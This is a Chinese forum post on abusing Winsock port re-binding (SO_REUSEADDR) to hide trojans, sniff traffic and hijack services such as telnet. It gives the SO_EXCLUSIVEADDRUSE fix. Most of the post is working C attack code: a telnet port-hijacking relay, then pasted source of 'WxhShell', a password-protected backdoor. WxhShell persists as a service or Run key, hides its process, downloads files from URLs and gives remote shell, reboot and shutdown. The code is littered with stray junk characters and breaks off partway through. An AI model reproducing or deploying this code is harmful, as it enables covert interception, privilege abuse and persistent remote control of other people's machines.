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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: + &b`QcH<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -b(:kAwStk  
q[q#cY:0  
  saddr.sin_family = AF_INET; K I$?0O  
|zvxKIW;wd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); y3$' gu|  
\x x<\8Qr_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5D]%E?ag  
~/\;7E{8!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9GkG'  
s iv KXd  
  这意味着什么?意味着可以进行如下的攻击: .$4DK*  
k KL^U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (J<@e!@NE  
q?Q"Ab  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n\*>m p)  
=X>3C"]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +&a2aEXF  
ygUvO3Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8{JTR|yB  
: O t\l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h.4;-&  
pLBp[GQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J*,Ed51&7  
c1CP1 2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z5-"a?{Y  
_QBd3B %  
  #include 8+ B.x  
  #include ss,t[`AV{  
  #include w_,.  
  #include    jL%-G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #JO#PV%  
  int main() cPI #XPM=  
  { 9|Jmj @9  
  WORD wVersionRequested; b3EW"^Ar  
  DWORD ret; xv 7^  
  WSADATA wsaData; g=b[V   
  BOOL val; $|6Le; K  
  SOCKADDR_IN saddr; cdP+X'Y4D  
  SOCKADDR_IN scaddr; \(Zdd \,  
  int err; Si*Pi  
  SOCKET s; GMgsM6.R  
  SOCKET sc; .m/Lon E  
  int caddsize; 0'BR Sa<  
  HANDLE mt; 2{XQDOyA  
  DWORD tid;   7x-k-F3  
  wVersionRequested = MAKEWORD( 2, 2 ); N iNZh;  
  err = WSAStartup( wVersionRequested, &wsaData ); '_r|L1  
  if ( err != 0 ) { MY9?957F  
  printf("error!WSAStartup failed!\n"); Zi@?g IiX  
  return -1; i3;Z:,A4NN  
  } fPK|Nw]b  
  saddr.sin_family = AF_INET; &!/L^Y*+  
   ID'@}69.S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !&E>8h  
cKF02?)TX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); DWk'6;e4j  
  saddr.sin_port = htons(23); {E6b/G?Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9eGM6qW\_  
  { I^M3>}p  
  printf("error!socket failed!\n"); } %S1OQC  
  return -1; A[ /0on5r  
  } 9Wx q  
  val = TRUE; 5 ;dg#hO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gA2\c5F<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]ueq&|  
  { [:g6gAuh,  
  printf("error!setsockopt failed!\n"); bMkn(_H)\  
  return -1; <LZvG IMl  
  } )V)4N[?GC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q`AJR$L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ,O 3"r;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A_Sl#e  
 9<[RXY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O%(:8nIgZ  
  { \RMYaI^+;  
  ret=GetLastError(); k@4]s_2  
  printf("error!bind failed!\n"); `x6 i5mp  
  return -1; a2Q9tt>Q  
  } '9<Mk-Aj  
  listen(s,2); vh?({A#>.E  
  while(1) }6C&N8 f  
  { dW8'$!@!!  
  caddsize = sizeof(scaddr); .__X[Mzth3  
  //接受连接请求 R\0]\JEc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Xd|@w{.m*  
  if(sc!=INVALID_SOCKET) 0\o0(eHCQz  
  { {U^mL6=&v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <diI*H<G  
  if(mt==NULL) 1#]tCi`  
  { y7d)[d*Mz  
  printf("Thread Creat Failed!\n"); te" 8ZmJ  
  break; a4g=cs<9}  
  } vWe)cJ  
  } 3iH!;`i  
  CloseHandle(mt); `j4ukOnG  
  } C&<f YCwG  
  closesocket(s); OX|/yw8  
  WSACleanup(); ?$-OdABXHK  
  return 0; u4z]6?,"e  
  }   uZmfvMr3  
  DWORD WINAPI ClientThread(LPVOID lpParam) lP9a*>=a  
  { mtmBL 2?  
  SOCKET ss = (SOCKET)lpParam; )F4er '  
  SOCKET sc; T{sw{E*  
  unsigned char buf[4096]; K Qub%`n  
  SOCKADDR_IN saddr; (X>r_4W$  
  long num; ms;Lu- UR  
  DWORD val; 4"l(rg  
  DWORD ret; bhe|q`1,E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cQ3Dk<GZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6G@_!i*2F  
  saddr.sin_family = AF_INET; "-ZuH   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v`y{l>r,  
  saddr.sin_port = htons(23); Uy_`=JZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |P5?0{  
  { r^*,eF  
  printf("error!socket failed!\n"); {_^sR}%]F  
  return -1; :l3Tt<  
  } *RxbqB-  
  val = 100; mqq~&nI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8.Y6r  
  { ^U~YG=!ww  
  ret = GetLastError(); LsV!Sd  
  return -1; KkAk(9Q/3  
  } l<7 b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wQM(Lm#Q  
  { OWOj|jM  
  ret = GetLastError(); y3;G<9K2c]  
  return -1; ix7N q7!N  
  } &)xoR4!2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bmt2~!  
  { ub,Sj{Mq"  
  printf("error!socket connect failed!\n"); wG^{Jf&@$  
  closesocket(sc); 5"XcVH4g  
  closesocket(ss); V)N9V|O'  
  return -1; IWm|6@y  
  } aeH 9:GQ6  
  while(1) De4+4&  
  { !R)v2Mk|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UnW,|n8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R['qBHQ?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _4%+TN6z  
  num = recv(ss,buf,4096,0); V\ARe=IWM  
  if(num>0) 8 A%)m  
  send(sc,buf,num,0); [ Y'Xop6G  
  else if(num==0) ,a5I:V^\  
  break; DOU\X N   
  num = recv(sc,buf,4096,0); X`J~3s  
  if(num>0) /JR*X!&"  
  send(ss,buf,num,0); pw- C=MY]  
  else if(num==0) Q4c>gds`  
  break; hz\7Z+$L_  
  } #@y4/JS&2  
  closesocket(ss); 6"jq/Pu  
  closesocket(sc); ~Qzm!Po,  
  return 0 ; !30Dice  
  } 5p=T*Y  
47 m:z5;  
Dyt}"r\  
========================================================== \n:'>:0X!  
c1MALgK~}\  
下边附上一个代码,,WXhSHELL RE *UIh*O  
q'c'rN^  
========================================================== pmQ9i A@=  
IU Dp5MIuR  
#include "stdafx.h" XL} oYL]}&  
+uv]dD *i  
#include <stdio.h> 70|Cn(p_  
#include <string.h> u^iK?S#Ci8  
#include <windows.h> 1{nXmtvr  
#include <winsock2.h> Y}nE/bmx&9  
#include <winsvc.h>  eCk}B$ 2  
#include <urlmon.h> 'y;[ fwo7  
iSIj ?.  
#pragma comment (lib, "Ws2_32.lib") g%RL9-z  
#pragma comment (lib, "urlmon.lib") ";s?#c  
<K4'|HU/  
#define MAX_USER   100 // 最大客户端连接数 @uT\.W:Q2  
#define BUF_SOCK   200 // sock buffer E(TL+o  
#define KEY_BUFF   255 // 输入 buffer f&{2G2 O%  
sl/#1B   
#define REBOOT     0   // 重启 pjHUlQ   
#define SHUTDOWN   1   // 关机 .rN 5A+By`  
7M^!t X  
#define DEF_PORT   5000 // 监听端口 ;wTl#\|w0  
m./lrz  
#define REG_LEN     16   // 注册表键长度 |910xd`Z  
#define SVC_LEN     80   // NT服务名长度 %4+r&  
I.q nA  
// 从dll定义API ic?6p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `){*JPl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mv<z%y?Oj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gt'0B-;W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >KM<P[BRd  
In^$+l%O[  
// wxhshell配置信息 kF6X?mqgD  
struct WSCFG { X`^9a5<"  
  int ws_port;         // 监听端口 !cp ,OrO\  
  char ws_passstr[REG_LEN]; // 口令 -b r/  
  int ws_autoins;       // 安装标记, 1=yes 0=no e[w)U{|40  
  char ws_regname[REG_LEN]; // 注册表键名 ]#R;%L  
  char ws_svcname[REG_LEN]; // 服务名 'iUfr@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V:My1R0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +?nW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  ] |~],\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5XA6IL|/l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e)7[weGN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J%3S3C2*m  
/e#_Yg  
}; u -CY-  
,j9}VnW)  
// default Wxhshell configuration J<u,Y= -~  
struct WSCFG wscfg={DEF_PORT, e l7P  
    "xuhuanlingzhe", m{gt(n  
    1, TQ>kmHWf/  
    "Wxhshell", M,q'   
    "Wxhshell", }|{yd03 +  
            "WxhShell Service", Q[`_Y3@j  
    "Wrsky Windows CmdShell Service", QfT&y &  
    "Please Input Your Password: ", !Edc]rg7  
  1, pmIQD"  
  "http://www.wrsky.com/wxhshell.exe", 2$=?;~  
  "Wxhshell.exe" }T4"#'`  
    }; jyLpe2 S  
r`B8Cik  
// 消息定义模块 _@jl9<t=_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WR gAc%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,MuLu,$/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OHM.xw*?.  
char *msg_ws_ext="\n\rExit."; &{/ `Q ,  
char *msg_ws_end="\n\rQuit."; 5NBc8h7 V  
char *msg_ws_boot="\n\rReboot..."; Fu{[5uv  
char *msg_ws_poff="\n\rShutdown..."; .5KRi6  
char *msg_ws_down="\n\rSave to "; "%-HZw%X  
Xk(c2s&  
char *msg_ws_err="\n\rErr!"; q ( H^H  
char *msg_ws_ok="\n\rOK!"; 9'td}S  
&hyr""NkAm  
char ExeFile[MAX_PATH]; 'zi5ihiT  
int nUser = 0; )5Gzk&|  
HANDLE handles[MAX_USER]; 6_`x^[r  
int OsIsNt; ]0V~|<0c  
`!>zYcmT  
SERVICE_STATUS       serviceStatus; y%`^* E&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UH.M)br  
!|!:MYn  
// 函数声明 jO<K0c c  
int Install(void); BLuILE:$  
int Uninstall(void); gWv/3hWWB  
int DownloadFile(char *sURL, SOCKET wsh); !$qNugLg  
int Boot(int flag); p,$1%/m  
void HideProc(void); jYO@ %bQ  
int GetOsVer(void); o @~XX@5l  
int Wxhshell(SOCKET wsl); $2 ~A^#"0  
void TalkWithClient(void *cs); F+*: >@3  
int CmdShell(SOCKET sock); )Xl/|YD  
int StartFromService(void);   VG q'  
int StartWxhshell(LPSTR lpCmdLine); j#3}nJB%#i  
^HX={(ddK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X -w#E3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \SA5@.W  
i1\xZ<|0  
// 数据结构和表定义 ATk>:^n  
SERVICE_TABLE_ENTRY DispatchTable[] = `c(,_o a{  
{ .e"De-u  
{wscfg.ws_svcname, NTServiceMain}, o/2\8   
{NULL, NULL} `f8{ ^Rau  
}; v3Te+oLg  
X./8 PK?&  
// 自我安装 % 7/XZQ  
int Install(void) 9 qqy(H  
{ x4 4)o:  
  char svExeFile[MAX_PATH]; %Kd8ZNv  
  HKEY key; S-Ryt>G  
  strcpy(svExeFile,ExeFile); ^['%wA%  
ov*zQP  
// 如果是win9x系统,修改注册表设为自启动 fw|r{#d  
if(!OsIsNt) { %n=!H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U$ _?T-x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s|"V$/X(W  
  RegCloseKey(key); "|.>pD#0&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -r/#20Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); el;^cMY  
  RegCloseKey(key); +2|X 7wA  
  return 0; NnGQ=$e  
    } yL_-w/a  
  } {ZY^tTsY  
} $/Zsy6q:  
else { s7D_fv4e  
0F0V JE  
// 如果是NT以上系统,安装为系统服务 -Z4J?b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t A\N$  
if (schSCManager!=0) 0{gvd"q  
{ v>~ottQ|  
  SC_HANDLE schService = CreateService lk2F]@_kJH  
  ( vXq=f:y4  
  schSCManager, ~pX&>v\T  
  wscfg.ws_svcname, i ao/l  
  wscfg.ws_svcdisp, aluXh?  
  SERVICE_ALL_ACCESS, G5kM0vs6L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R^f~aLl  
  SERVICE_AUTO_START, nw Or  
  SERVICE_ERROR_NORMAL, |hiYV  
  svExeFile, %0Ulh6g;Dt  
  NULL, Yw\} '7  
  NULL, ?G* XZ0u~  
  NULL, NA]7qb%%<  
  NULL, zVGjXuNa  
  NULL wU2y<?$\8  
  ); ]Qkto4DQ5  
  if (schService!=0) !5? #^q  
  { [j 'Ogm7"  
  CloseServiceHandle(schService); jF Bq>  
  CloseServiceHandle(schSCManager); (|bMtT?"x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }rn}r4_a  
  strcat(svExeFile,wscfg.ws_svcname); Kbg`ZO*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  aVz<RS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w4:n(.;HK  
  RegCloseKey(key); [I4K`>|Z  
  return 0; o!aKeM~|Es  
    } Olj]A]v}  
  } n&r-  
  CloseServiceHandle(schSCManager); e\%QHoi>u  
} (=QaAn,,R  
} 7 I&7YhFI  
{QM;%f  
return 1; )>\J~{  
} oZA|IF8U0  
A0V"5syY  
// 自我卸载 wkdd&Nw;  
int Uninstall(void) 2 t< dCw  
{ f"k?Ix\ e  
  HKEY key; lqF{Y<l  
o~NeS|a  
if(!OsIsNt) { 7B"J x^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0`h[|FYV  
  RegDeleteValue(key,wscfg.ws_regname); KQJn\#>  
  RegCloseKey(key); Jk}L+X vv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P qagep d  
  RegDeleteValue(key,wscfg.ws_regname); wf=#w}f  
  RegCloseKey(key); uZ]B?Z%y#  
  return 0; +LV'E#h!Q  
  } 5y(irbk7  
} YRG+I GX  
} L`R,4mI.W  
else { CbQ@l@d]  
b v\V>s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >QE^KtZ  
if (schSCManager!=0) 95T%n{rz  
{ pnxjuDN7}x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YQ,IdWav  
  if (schService!=0) p0qQ(  
  { L}XERO TR  
  if(DeleteService(schService)!=0) { "<v_fF<Y  
  CloseServiceHandle(schService); $a15 8  
  CloseServiceHandle(schSCManager); _a+0LTo".  
  return 0; q)G*"  
  } KjZ^\lq'  
  CloseServiceHandle(schService); Pl}}!<!<z  
  } mIFS/C  
  CloseServiceHandle(schSCManager); 7v?tSob:b  
} yx{Ac|<mR  
} MeQ(,irr^  
,RCjfX a  
return 1; Gxi;h=J2)>  
} :`:<JA3,  
>h[tHM O  
// 从指定url下载文件 pcur6:8W!  
int DownloadFile(char *sURL, SOCKET wsh) a}i{b2B  
{ '8*gJ7]  
  HRESULT hr; $#]?\psf  
char seps[]= "/"; Qc[[@=S%  
char *token; Yo| H`m,  
char *file; mH;Z_ME"  
char myURL[MAX_PATH]; u8+<uWB  
char myFILE[MAX_PATH]; iUS379wM}  
v 0rX/ mj  
strcpy(myURL,sURL); k{c~  
  token=strtok(myURL,seps); }2`S@Rq.WW  
  while(token!=NULL) By3dRiM=,2  
  { ^ b-H  
    file=token; z6Su`  
  token=strtok(NULL,seps); )6bxP&k  
  } sn5N9=\+T  
Ct}"o  
GetCurrentDirectory(MAX_PATH,myFILE); hf:n!+,C  
strcat(myFILE, "\\"); &Ei dc .  
strcat(myFILE, file); k`oXo%  
  send(wsh,myFILE,strlen(myFILE),0); B|:{.U@ne  
send(wsh,"...",3,0); i$"FUC~'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); & \<RVE  
  if(hr==S_OK) B susXW$  
return 0; PO&xi9_  
else 3C_g)5 _:  
return 1; qhK;#<#  
^z[s;:-  
} \RQ5$!O  
3-o ]H'6  
// 系统电源模块 Cf`UMQ a  
int Boot(int flag) \M>AN Z}  
{ Q.z2 (&  
  HANDLE hToken; }[LK/@h  
  TOKEN_PRIVILEGES tkp; KO)<Zh  
`(Q58wR}  
  if(OsIsNt) { YQQ!1 hw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +QldZba  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =;Wkg4\5  
    tkp.PrivilegeCount = 1; *k+QX   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A: 0] n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }ZVNDvGH  
if(flag==REBOOT) { JiI(?I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?MpGz CPa  
  return 0; Q=^}B}G  
} e% 5!  
else { (a^F`#]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _F@FcFG1Z*  
  return 0; ,x{5,K.yWq  
} h(G&X9*  
  } \GMudN  
  else { /23v]HEPy  
if(flag==REBOOT) { dcHkb,HsO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >$R-:>~zN  
  return 0; jDXmre?  
} _ORW'(:Z  
else { ^+GN8LUs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?7G[`@^Y  
  return 0; p%3';7W\  
} #(  kT  
} b]|7{yMV  
A=XM(2{aN  
return 1; H.>KYiv+  
} Ei}DA=:s  
?|s[/zPS=  
// win9x进程隐藏模块 vm4]KEyrX  
void HideProc(void) {<kl)}  
{ .-WCB  
8V}c(2m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |ZZ3Qr+%S  
  if ( hKernel != NULL ) &Q&$J )0  
  { )9<)mV*EB(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "UA W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X0!48fL*  
    FreeLibrary(hKernel); %H}+'.8  
  } IL>g-  
Wq,UxMz  
return; *-P@|eg  
} pn =S%Qf]  
>Zr/U!W*?  
// 获取操作系统版本 Pc4sReo'  
int GetOsVer(void) )L#I#%  
{ E* lqCh  
  OSVERSIONINFO winfo; /1OhW>W3eH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x`o_&09;CG  
  GetVersionEx(&winfo); hOwVm;:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [6/ %ynlP  
  return 1; ;$%+TN  
  else 7 'f>  
  return 0; D2?7=5DgS  
} WrG)&&d  
p1|@F^Q  
// 客户端句柄模块 H>Fy 2w  
int Wxhshell(SOCKET wsl) CV& SNA  
{ $hEX,  
  SOCKET wsh; Wo2M}]0  
  struct sockaddr_in client; h[lh01z  
  DWORD myID; N86Hn]#  
5TnECk  
  while(nUser<MAX_USER) #v~5f;[AAs  
{ 9JUlu  
  int nSize=sizeof(client); /\=g;o'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _Y~+ #Vc  
  if(wsh==INVALID_SOCKET) return 1; .79'c%3}  
i^gzl_!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |5FyfDaFBX  
if(handles[nUser]==0) ^(6.M\Q  
  closesocket(wsh); sXfx[)T<  
else 9wI1/>  
  nUser++; RWoa'lnu  
  } =nY*,Xu<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @0)bY*njj  
2smLv1w@  
  return 0; : 0%V:B  
} ( E0be.  
k@wxN!w;  
// 关闭 socket )D#*Q~   
void CloseIt(SOCKET wsh) YL{LdM-xM  
{ :|fzGf  
closesocket(wsh); QzV:^!0J  
nUser--; QiZThAe  
ExitThread(0); 4W1"=VL[g  
} |\b*p:e l  
K(Cv9YQ  
// 客户端请求句柄 /[us;=CM  
void TalkWithClient(void *cs) *.i` hfRc  
{ r<~1:/F|  
av5lgv)3  
  SOCKET wsh=(SOCKET)cs; {j^}"8GB  
  char pwd[SVC_LEN]; D&]SPhX  
  char cmd[KEY_BUFF]; hZyz5aZ)K  
char chr[1]; >Ks|yNJ  
int i,j; #|gt(p]C  
S(rA96n  
  while (nUser < MAX_USER) { D+k5e=  
scA&:y  
if(wscfg.ws_passstr) { pET5BMxGG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <)"Mi}Q[)p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gE:qMs;  
  //ZeroMemory(pwd,KEY_BUFF); v'DL >Y  
      i=0; XRaq\a`=:  
  while(i<SVC_LEN) { $_<,bC1[  
QZd ,GY5{  
  // 设置超时 { \Q'eL8  
  fd_set FdRead; k.rZj|7 L  
  struct timeval TimeOut; A3h[VnuG,  
  FD_ZERO(&FdRead); 3g} ]nj:N  
  FD_SET(wsh,&FdRead); }9@ ,EEhg  
  TimeOut.tv_sec=8; }t]CDa_n  
  TimeOut.tv_usec=0; s K s D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /<M08ze  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >0u4>=#  
\5O4}sm$*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :}j{NM#  
  pwd=chr[0]; Rb\\6 BU0  
  if(chr[0]==0xd || chr[0]==0xa) { (uRAK  
  pwd=0; ` NcWy  
  break; #:2 36^xYS  
  } sH#UM(N  
  i++; Dmn6{jy P  
    } bl:.D~@  
jYuH zf  
  // 如果是非法用户,关闭 socket ` 8.d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mO]>(^c  
} h*&-[nSo  
lB3W|-Ci  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ci|6SaY*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y<.1+TG  
_kgw+NA&-H  
while(1) { HP&+ 8  
*y F 9_\n  
  ZeroMemory(cmd,KEY_BUFF); M2mte#h  
s8eFEi  
      // 自动支持客户端 telnet标准   W}nD#9tL  
  j=0; $I+QyKO9k  
  while(j<KEY_BUFF) { <{7B ^'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t&0pE(MO/  
  cmd[j]=chr[0]; mmEr2\L  
  if(chr[0]==0xa || chr[0]==0xd) { ?MyXii<a  
  cmd[j]=0; e=TB/W_  
  break; b6Dve]  
  } kW5g]Q   
  j++; =A04E  
    }  [v#t  
$^}?98m  
  // 下载文件 }"%tlU!}  
  if(strstr(cmd,"http://")) { i,Yv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); quVTqhg"  
  if(DownloadFile(cmd,wsh)) vt@.fT#e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); : xB<Rq  
  else /J8y[aa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &+d>xy\^/  
  } ojUBa/  
  else { j:\MrYt0H  
9:IVSD&"Rf  
    switch(cmd[0]) { GnkNoaU  
  "\)j=MI8u+  
  // 帮助 &8z`]mB{t  
  case '?': { F3i+t+Jt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hq3"OMGq  
    break; X^eTf-*T  
  } |Fm(  
  // 安装 uI!rJc>TX  
  case 'i': { PW~+=,  
    if(Install()) V8 }yK$4b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nB WVG  
    else p,Qr9p3y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ab: yH ')  
    break; 2 D>WIOX  
    } 5iwJdm  
  // 卸载 L "P$LEk  
  case 'r': { SBg BZm}%  
    if(Uninstall()) 3g`uLA X>u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :q<8:,rP  
    else 00[Uk'Q*5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n0:'h}^  
    break; a2SMNC]  
    } xJ:15eDC  
  // 显示 wxhshell 所在路径 g VplBF7{  
  case 'p': { m?V4r#t  
    char svExeFile[MAX_PATH];  bF0 y`  
    strcpy(svExeFile,"\n\r"); 4%0eX]  
      strcat(svExeFile,ExeFile); #ih(I7prH  
        send(wsh,svExeFile,strlen(svExeFile),0); T'"aStt6  
    break; N p$pz  
    } d @<(Z7|  
  // 重启 3Gubq4r  
  case 'b': { T;IaVMFG|d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x$tx!%,)/S  
    if(Boot(REBOOT)) FO&U{(Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K?8{ y  
    else { rzsb(  
    closesocket(wsh); [kM)K'-  
    ExitThread(0); c,:xm=&  
    } QX1QYwcmG  
    break; ~k'KS 7c  
    } ]v{f!r=}  
  // 关机 ;!v2kVuS]  
  case 'd': { R'`q0MoN1  
